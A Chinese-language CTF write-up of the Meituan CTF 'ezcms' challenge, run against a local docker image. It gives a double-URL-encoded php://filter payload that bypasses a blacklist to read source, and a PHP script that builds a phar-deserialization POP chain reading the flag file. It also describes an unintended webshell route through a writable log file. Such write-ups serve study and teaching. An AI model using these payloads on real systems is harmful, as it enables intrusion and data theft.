一篇来的比较晚的wp,美团CTF的ezcms,算是一道比较有难度的题目。考点,302跳转,伪协议,popchain,phar反序列化
预期解
环境搭建
出题人将docker镜像上传了,我们可以直接本地搭建复现
docker pull y4tacker/ez_yxcms:1.0
docker run --name="ezcms" -p 32102:80 -d y4tacker/ez_yxcms:1.0
由于镜像的flag为空,所以这里我自己添加一个flag
echo 'flag{test!}' > /flagg
信息收集
访问 localhost:32102 ,需要登录
尝试一些常见目录收集信息,在robots.txt 下看到
Disallow: /h1nt.php
访问得到
database_type:sqlite
database_file:db/user.db3
下载数据库文件,得到用户名和密码的md5,解码得到
username = admin888
password = attack
302跳转
登录过程中发现有一些302跳转,其中一个为
/class/showImage.php?file=logo.jpg
猜测存在文件包含
读取源码
去掉logo.jpg再次访问,得到了showImage的源码
<?php
error_reporting(0);
if ($_GET['file']){
$filename = $_GET['file'];
if ($filename=='logo.jpg'){
header("Content-Type:image/png");
echo file_get_contents("../static/images/logo.jpg");
}else{
ini_set('open_basedir','./');
if ($filename=='hint.php'){
echo 'nononono!';
} else{
if(preg_match('/read|[\x00-\x24\x26-\x2c]| |base|rot|strip|encode|flag|tags|iconv|utf|input|convertstring|lib|crypt|\.\.|\.\//i', $filename)){
echo "hacker";
}else{
include($filename);
}
}
}
}else{
highlight_file(__FILE__);
}
发现存在hint.php
伪协议读文件,其中许多关键词被过滤,并且过滤了 x00-x24x26-x2c 明显留下来一个x25,url编码的%25即是%,所以直接二次编码绕过读文件,构造如下payload(将e替换为url的二次编码)
?file=php://filter/conv%2565rt.bas%256564-%2564ncod%2565/resource=hint.php
解码得到如下信息
<?php
//以下是class目录结构
/*
- class
-- cache
-- templates
--- api
- Api.php
---admin
-add_category.php
-category_list.php
-edit_category.php
-admin.php
-footer.php
-header.php
-left.php
- login.php
- index.php
- api.php
-- auth.php
-- file_class.php
-- hint.php
-- Medoo.php
-- render_file.php
-- showImage.php
-- info.php
*/
根据目录提示,一次读取重要的源码
源码分析
phar反序列化
首先,在admin.php中可以看到如下的内容
<li style="font-size: 20px;">上次登录时间:<?php $a = new renderUtil("",Log,empty($_POST['file'])?"./class/cache/lastTime.txt":$_POST['file']);echo $a;?></li
由此,可以判断,上次登录信息存放在 ./class/cache/lastTime.txt里
然后看renderUtil类,在render_file.php中
public function __destruct(){
if (!empty($this->file)){
$ret = $this->file->open($this->filename,$this->content);
}
if (!empty($ret)){
fileUtil::extractZip($this->filename, $this->content);
}
}
该类的__destruct()方法中,调用了fileUtil类
public static function extractZip($file,$content){
$zip = new ZipArchive();
$res = $zip->open($file);
if ($res){
$zip->extractTo($content);
}else{
echo 'no ZipFile';
}
$zip->close();
}
可以看到这里,如果 $file 是一个归档类文件,那么就会执行 ZipArchive::extractTo() 方法去提取归档文件
这里说一下归档文件,我们熟知的phar文件,就是一种归档文件。PHAR - PHP Archive。
这里的extractTo() 可以使用phar协议去提取phar中的文件,同样也可以触发phar反序列化
pop分析
同时在auth.php中
if( ($user == $username) && (md5($pass) == $password) ) {
$_SESSION['login'] = 1;
define("AQ",1);
$content = ($t==1)?("上次登录时间:".date("Y-m-d h:i:s")):$t;
$log = new info($content);
$log->log();
$data = [
'code' => 0,
'msg' => 'successful'
];
}
else{
$data = [
'code' => -1012,
'err_msg' => '用户名或密码错误!'
];
}
可以看到 $content内容可控,然后实例化了info类
class info{
public $logContent;
public function __construct($lastlogTime=''){
$this->logContent = $lastlogTime;
}
public function log(){
file_put_contents("./class/cache/lastTime.txt",$this->logContent);
}
public function __toString(){
$tmp = file_get_contents('./class/cache/lastTime.txt');
return explode(":",$tmp)[1];
}
}
info类就是把内容和写入日志
所以,日志内容可控,接下来就是找popchain
在 file_class.php 中的 ExportExcel类中 的 __invoke() 方法 存在任意函数调用。
public function __invoke(){
if (wudiWaf($this->do)&&wudiWaf($this->filename)){
($this->do)($this->filename);
}
}
__invoke() 魔术方法,指的是在对象被当作函数调用时触发。
于是我们我们去找满足条件的类 ,直接搜索 )( 发现在 info.php 内的 SuperAdmin 中存在
public function retFunctionList(){
$superFunc = ['editprofit','exportExcel','editUser','addUser','delUser','showUser','modify','authority'];
$comFunc = ['showUser','editprofit','exportExcel'];
return ($this->isSuperAdmin)()?$superFunc:$comFunc;
}
public function __toString(){
$retData = $this->retFunctionList();
return implode(",", $retData);
}
并且可以看到,调用该方法的在该类的__toString() 方法中
同时,可以发现在起上面的UserInfo类中的 __destruct() 方法
public function retJsonInfo(){
$data = '["username":"'.$this->username.'","nickname":"'.$this->nickname.'","role":"'.$this->role.'"]';
return json_encode($data);
}
public function __destruct(){
echo $this->retJsonInfo();
}
在 retJsonInfo() 里可以触发 toString() 方法
构造payload
UserInfo => SuperAdmin => ExportExcel
UserInfo -> username = new SuperAdmin('a','b')
UserInfo -> isSuperAdmin = new ExportExcel()
<?php
class UserInfo{
public $username;
public $nickname;
public $role;
public $userFunc;
public function __construct(){
$this->username = new SuperAdmin('a','b');
}
}
class SuperAdmin{
public $username;
public $role;
public $isSuperAdmin;
public $OwnMember;
public function __construct($username, $OwnMember, $superAdmin='',$role=''){
$this->username = $username;
$this->OwnMember = $OwnMember;
$this->isSuperAdmin = new ExportExcel('/flagg','xxx','readfile');
$this->role = $role;
}
}
class ExportExcel{
public $filename;
public $exportname;
public $do;
public function __construct($filename, $exportname, $do)
{
$this->filename = $filename;
$this->exportname = $exportname;
$this->do = $do;
}
}
$phar = new Phar("1.phar");
$phar -> startBuffering();
$phar -> setStub("anyhead"."<?php __HALT_COMPILER(); ?>");//这个参数必须有且必须是这个
$hack = new UserInfo();
$phar -> setMetadata($hack);
$phar -> addFromString("123","123");//用于压缩的文件,前面提到了 phar也是一种压缩流
$phar -> stopBuffering();
$a = file_get_contents('./1.phar');
echo urlencode($a);
成功getflag
非预期
当我在测试日志内容是否写入的时候,我突然想到,既然有包含为什么不直接写shell
于是构造请求
查看是否写入
测试shell
查看根目录
getflag!